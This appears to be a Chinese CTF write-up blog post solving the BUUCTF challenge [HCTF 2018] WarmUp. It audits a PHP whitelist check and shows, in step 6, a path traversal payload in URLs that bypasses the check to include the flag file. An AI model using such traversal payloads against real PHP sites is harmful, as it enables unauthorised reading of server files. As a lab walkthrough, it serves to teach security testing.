【BUUCTF】Web之[HCTF 2018]WarmUp 1

这篇博客详细记录了一次PHP代码审计的过程,作者首先从网页源码中找到注释的php文件,然后尝试访问source.php并分析其代码逻辑。代码主要检查file参数是否为空及是否为字符串,并通过emmm类的checkFile方法进行安全检测。通过分析,作者成功利用路径遍历漏洞访问到了hint.php,并最终揭示flag位于ffffllllaaaagggg文件中。整个过程展示了PHP安全漏洞的探测和利用技巧。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

1、首先打开题目链接
在这里插入图片描述

2、因为是php代码审计,所以我们尝试寻找代码。先查看网页源码 这里发现一个注释的php文件
在这里插入图片描述

3、尝试对source.php进行访问
在这里插入图片描述

4、出现了php代码,进行代码分析 ① 观察参数file,首先file不能为空,其次要满足是字符串类型 php if (! empty($_REQUEST['file']) && is_string($_REQUEST['file']) && emmm::checkFile($_REQUEST['file']) ) { include $_REQUEST['file']; exit; } else { echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />"; } ② file满足条件便开始传入emmm类下的checkfile()方法,进行代码检测,如果检测通过,便可以进入file变量的目录中.

        {
            $whitelist = ["source"=>"source.php","hint"=>"hint.php"]; 			//判断语句,isset($page) 判 断 传进的变量已经设置,且不为NNUL,
is_string($page)判断变量为字符串类型.
          if (! isset($page) || !is_string($page)) {
                echo "you can't see it";
                return false;
            }

			//判断变量page在数组whitelist中
            if (in_array($page, $whitelist)) {
                return true;
            }

			//mb_strpos(a,b),第二个变量在前一个变量出现的位置. 			//mb_substr(str, start,
length)截取函数,开始位置为start设置,常委为length,返回到_page中
            $_page = mb_substr(
                $page,
                0,
                mb_strpos($page . '?', '?')
            );

			//判断变量page在数组whitelist中
            if (in_array($_page, $whitelist)) {
                return true;
            }
            
            $_page = urldecode($page);
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }
            echo "you can't see it";
            return false;
        } ```

5、进入hint.php flag在文件ffffllllaaaagggg中
在这里插入图片描述
6、尝试http://20e863c3-2c38-498c-b466-6d075e972c36.node4.buuoj.cn:81/source.php?file=source.php?../ffffllllaaaagggg,不断添加…/直到进入文件
http://20e863c3-2c38-498c-b466-6d075e972c36.node4.buuoj.cn:81/source.php?file=source.php?/…/…/…/…/…/…/…/…/ffffllllaaaagggg
在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值